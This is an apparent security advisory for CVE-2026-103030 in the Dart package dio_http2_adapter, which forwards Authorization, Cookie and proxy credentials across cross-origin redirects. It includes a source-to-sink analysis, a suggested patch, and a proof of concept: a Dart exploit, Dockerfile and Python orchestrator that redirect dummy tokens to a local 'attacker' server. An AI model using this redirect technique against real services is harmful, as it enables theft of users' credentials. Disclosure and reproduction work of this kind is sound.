OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-103030: Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`

GitHub Advisories · officialPublished Oct 15, 2026Risk 37/100

### Summary `dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high. ### Details When `Dio` is configured to use `Http2Adapter`, the adapter's internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:111 headers.addAll( options.headers.entries.map((entry) { ... return Header.ascii(entry.key.toLowerCase(), v); }).toList(), ); ``` On receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:254-263 final url = responseHeaders.value('location'); final uri = Uri.parse(url ?? ''); final String path = resolveRedirectUri(options.uri, uri).toString(); return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...); ``` `options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including `Authorization`, `Cookie`, and `Proxy-Authorization` — is forwarded to the new authority with no sanitization. **Data flow (source → sink):** 1. `dio/lib/src/dio_mixin.dart:383` — public `Dio.request<T>(String path, ...)` entry point. 2. `dio/lib/src/options.dart:331` — base and per-request headers merged into `RequestOptions`. 3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`. 4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` header is read from the network response (attacker-controlled source). 5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — redirect target URI resolved; cross-origin check absent. 6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` called without `headers` override. 7. `dio/lib/src/options.dart:629` — `copyWith` preserves `Map.from(this.headers)` — all sensitive headers retained. 8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink). **Suggested patch** — strip sensitive headers before following a cross-origin redirect: ```diff --- a/plugins/http2_adapter/lib/src/http2_adapter.dart +++ b/plugins/http2_adapter/lib/src/http2_adapter.dart + static const _sensitiveRedirectHeaders = { + 'authorization', + 'cookie', + 'proxy-authorization', + }; + - final String path = resolveRedirectUri(options.uri, uri).toString(); + final redirectUri = resolveRedirectUri(options.uri, uri); + final redirectOptions = options.copyWith( + path: redirectUri.toString(), + maxRedirects: --options.maxRedirects, + ); + if (!_sameOrigin(options.uri, redirectUri)) { + redirectOptions.headers.removeWhere( + (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()), + ); + } return _fetch( - options.copyWith(path: path, maxRedirects: --options.maxRedirects), + redirectOptions, list != null ? Stream.fromIterable(list) : null, cancelFuture, redirects, ); + + static bool _sameOrigin(Uri a, Uri b) => + a.scheme == b.scheme && a.host == b.host && a.port == b.port; ``` ### PoC The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required). **Prerequisites:** - Docker installed and accessible. - Repository checked out at the path used as the build context. **Build and run:** ```bash # From the repository root (github_web_81_cfug__dio/) docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc . docker run --rm --network none dio-vuln-001:poc ``` **What the container does:** 1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`. 2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header. 3. Executes the following Dart exploit: ```dart final dio = Dio() ..httpClientAdapter = Http2Adapter(ConnectionManager()); await dio.get( 'http://127.0.0.1:18081/start', options: Options(headers: { 'Authorization': 'Bearer SECRET_TOKEN_12345', 'Cookie': 'sid=SECRET_SESSION_ABC', 'x-secret': 'internal-secret-value', }), ); ``` **Expected output (confirms vulnerability):** ``` RESULT=VULN_CONFIRMED LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345 LEAKED_COOKIE=sid=SECRET_SESSION_ABC [ATTACKER] Received headers: [ATTACKER] authorization: Bearer SECRET_TOKEN_12345 [ATTACKER] cookie: sid=SECRET_SESSION_ABC [ATTACKER] x-secret: internal-secret-value ``` The attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping. ### Impact This is a **sensitive information disclosure** vulnerability. Any application that: 1. configures `Dio` with `Http2Adapter`, and 2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers, is affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is needed to trigger the bug. An attacker who controls — or can compromise — any HTTP server that the victim application contacts can issue a `302` redirect to an attacker-owned server and thereby capture the victim's bearer tokens, session cookies, or proxy credentials. The attack requires no prior authentication and is executable over the network with low complexity. Stolen credentials may then be used to impersonate the victim against the original service or any other service that accepts the same token. Affected parties include server-side Dart/Flutter applications and CLI tools that make authenticated HTTP/2 requests through `dio_http2_adapter`. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001 dynamic reproduction # Vulnerability: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter # # Build context: the parent directory (github_web_81_cfug__dio/) # docker build -f vuln-001/Dockerfile -t dio-vuln-001 . # # What this image does: # 1. Installs Dart SDK (stable) # 2. Copies the vulnerable repository source (dio + dio_http2_adapter) # 3. Creates a PoC Dart project using path dependencies to the local source # 4. Resolves pub packages # 5. On container run: executes the exploit script that starts two local # h2c servers (origin + attacker) and makes a redirected request to prove # that Authorization/Cookie headers are forwarded to the cross-origin target FROM dart:stable AS builder # ── Repository source ────────────────────────────────────────────────────────── # Copy only the packages we need to keep image small COPY repo/dio/ /repo/dio/ COPY repo/plugins/http2_adapter/ /repo/plugins/http2_adapter/ # ── PoC project setup ────────────────────────────────────────────────────────── WORKDIR /poc COPY vuln-001/poc_pubspec.yaml pubspec.yaml COPY vuln-001/poc_exploit.dart lib/main.dart # Resolve dependencies (requires network access to pub.dev for http2, meta, etc.) RUN dart pub get # ── Runtime image (reuse builder to keep it simple) ──────────────────────────── FROM builder AS final WORKDIR /poc # Run the exploit; exit code: # 0 = VULN_CONFIRMED (authorization header leaked to attacker) # 1 = NOT_VULNERABLE (header was stripped or redirect not followed) # 2 = FAIL (attacker server never received a request — env issue) CMD ["dart", "run", "lib/main.dart"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC orchestrator for VULN-001: Cross-origin redirect leaks sensitive request headers in dio_http2_adapter. Usage: python3 poc.py [--image-tag TAG] What it does: 1. Builds a Docker image containing the vulnerable dio_http2_adapter source and a Dart exploit script (poc_exploit.dart). 2. Runs the container, which: a. Starts two local h2c (HTTP/2 cleartext) servers inside the container: - Origin (127.0.0.1:18081): returns 302 → attacker - Attacker (127.0.0.1:18082): logs all received headers b. Uses dio + Http2Adapter to GET http://origin/start with Authorization and Cookie headers. c. Follows the 302 redirect to the attacker server. d. Reports whether the Authorization header was captured by the attacker. 3. Writes phase2_result.json with structured verdict. Exit codes: 0 PASS — vulnerability confirmed 1 FAIL — not reproduced 2 ERROR — build or runtime environment problem """ import argparse import json import os import subprocess import sys import textwrap from pathlib import Path # ── Paths ────────────────────────────────────────────────────────────────────── SCRIPT_DIR = Path(__file__).resolve().parent REPO_ROOT = SCRIPT_DIR.parent # github_web_81_cfug__dio/ RESULT_FILE = SCRIPT_DIR / "phase2_result.json" BUILD_CONTEXT = str(REPO_ROOT) DOCKERFILE = str(SCRIPT_DIR / "Dockerfile") DEFAULT_IMAGE_TAG = "dio-vuln-001:poc" def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess: """Run a subprocess command, streaming stdout/stderr to the terminal.""" print(f"[+] {' '.join(cmd)}", flush=True) return subprocess.run(cmd, **kwargs) def build_image(tag: str) -> bool: """Build the Docker image. Returns True on success.""" result = run( [ "docker", "build", "--file", DOCKERFILE, "--tag", tag, BUILD_CONTEXT, ], check=False, ) if result.returncode != 0: print(f"[!] Docker build failed (exit {result.returncode})", file=sys.stderr) return False return True def run_container(tag: str, timeout_sec: int = 120) -> tuple[int, str, str]: """ Run the container and capture its output. Returns: (returncode, stdout, stderr) """ result = run( [ "docker", "run", "--rm", "--network", "none", # no external network; loopback only tag, ], capture_output=True, text=True, timeout=timeout_sec, check=False, ) return result.returncode, result.stdout, result.stderr def parse_output(stdout: str, stderr: str) -> dict: """ Parse structured key=value lines from the exploit's stdout. The Dart exploit writes lines like: RESULT=VULN_CONFIRMED LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345 EVIDENCE=... """ parsed = {} for line in stdout.splitlines(): if "=" in line: key, _, val = line.partition("=") parsed[key.strip()] = val.strip() return parsed def write_result(data: dict) -> None: with open(RESULT_FILE, "w", encoding="utf-8") as f: json.dump(data, f, ensure_ascii=False, indent=2) print(f"\n[+] Result written to {RESULT_FILE}") def main() -> int: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument( "--image-tag", default=DEFAULT_IMAGE_TAG, help=f"Docker image tag (default: {DEFAULT_IMAGE_TAG})", ) args = parser.parse_args() tag = args.image_tag build_cmd = ( f"docker build -f vuln-001/Dockerfile -t {tag} ." ) run_cmd = ( f"docker run --rm --network none {tag}" ) poc_cmd = ( f"cd {REPO_ROOT} && {build_cmd} && {run_cmd}" ) # ── Step 1: Build ────────────────────────────────────────────────────────── print("=" * 70) print("STEP 1: Building Docker image") print("=" * 70) if not build_image(tag): result_data = { "passed": False, "verdict": "FAIL", "reason": "Docker image build failed — dart pub get or source copy error", "build_command": f"cd {REPO_ROOT} && {build_cmd}", "run_command": run_cmd, "poc_command": poc_cmd, "evidence": "docker build non-zero exit code", "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"], } write_result(result_data) return 2 # ── Step 2: Run exploit ──────────────────────────────────────────────────── print("\n" + "=" * 70) print("STEP 2: Running exploit container") print("=" * 70) try: returncode, stdout, stderr = run_container(tag) except subprocess.TimeoutExpired: result_data = { "passed": False, "verdict": "INCOMPLETE", "reason": "Container execution did not complete within 120 seconds and was terminated due to timeout", "build_command": f"cd {REPO_ROOT} && {build_cmd}", "run_command": run_cmd, "poc_command": poc_cmd, "evidence": "subprocess.TimeoutExpired after 120 s", "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"], } write_result(result_data) return 2 print("\n── Container STDOUT ─────────────────────────────────────────────") print(stdout or "(empty)") print("── Container STDERR ─────────────────────────────────────────────") print(stderr or "(empty)") print("── Exit code:", returncode, "─────────────────────────────────────") # ── Step 3: Evaluate results ─────────────────────────────────────────────── parsed = parse_output(stdout, stderr) exploit_result = parsed.get("RESULT", "") leaked_header = parsed.get("LEAKED_HEADER", "") evidence_line = parsed.get("EVIDENCE", "") if returncode == 0 and exploit_result == "VULN_CONFIRMED" and leaked_header: # Combine stdout + a snippet of stderr for the evidence field stderr_snippet = "\n".join( line for line in stderr.splitlines() if any(tag in line for tag in ("[ATTACKER]", "[RESULT]", "[EVIDENCE]")) )[:1500] evidence = ( f"stdout: {stdout.strip()}\n\n" f"stderr (relevant):\n{stderr_snippet}" ) result_data = { "passed": True, "verdict": "PASS", "reason": ( "dio_http2_adapter forwarded the original Authorization header verbatim " "to the attacker's server without stripping it when following a " "cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) " f"received '{leaked_header}'." ), "build_command": f"cd {REPO_ROOT} && {build_cmd}", "run_command": run_cmd, "poc_command": poc_cmd, "evidence": evidence, "artifacts": [ "Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml", "poc.py", ], } write_result(result_data) print("\n[PASS] VULN-001 reproduced successfully.") return 0 elif returncode == 1 or exploit_result == "NOT_VULNERABLE": result_data = { "passed": False, "verdict": "FAIL", "reason": ( "Container execution succeeded, but the attacker server did not " "receive the Authorization header. The vulnerability was not " f"reproduced in this environment. Parsed result: {parsed}" ), "build_command": f"cd {REPO_ROOT} && {build_cmd}", "run_command": run_cmd, "poc_command": poc_cmd, "evidence": stdout + "\n" + stderr, "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"], } write_result(result_data) print("\n[FAIL] Vulnerability not reproduced.") return 1 else: # returncode == 2 or other unexpected failure result_data = { "passed": False, "verdict": "INCOMPLETE", "reason": ( f"Container execution failed or exited with an unexpected code {returncode}. " "Cause: h2c server startup error, network issue, or Dart runtime " "error. Check the stderr log and retry without --network none." ), "build_command": f"cd {REPO_ROOT} && {build_cmd}", "run_command": run_cmd, "poc_command": poc_cmd, "evidence": f"exit={returncode}\nstdout={stdout}\nstderr={stderr}", "artifacts": ["Dockerfile", "poc_exploit.dart", "poc_pubspec.yaml"], } write_result(result_data) print(f"\n[INCOMPLETE] Container exited with code {returncode}.") return 2 if __name__ == "__main__": sys.exit(main()) ```

Upgrade affected packages to a patched version: dio_http2_adapter 2.8.0.

Vendor
Not specified
Product
dio_http2_adapter
Exploitation
none known
Evidence
official
CVSS
7.5

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source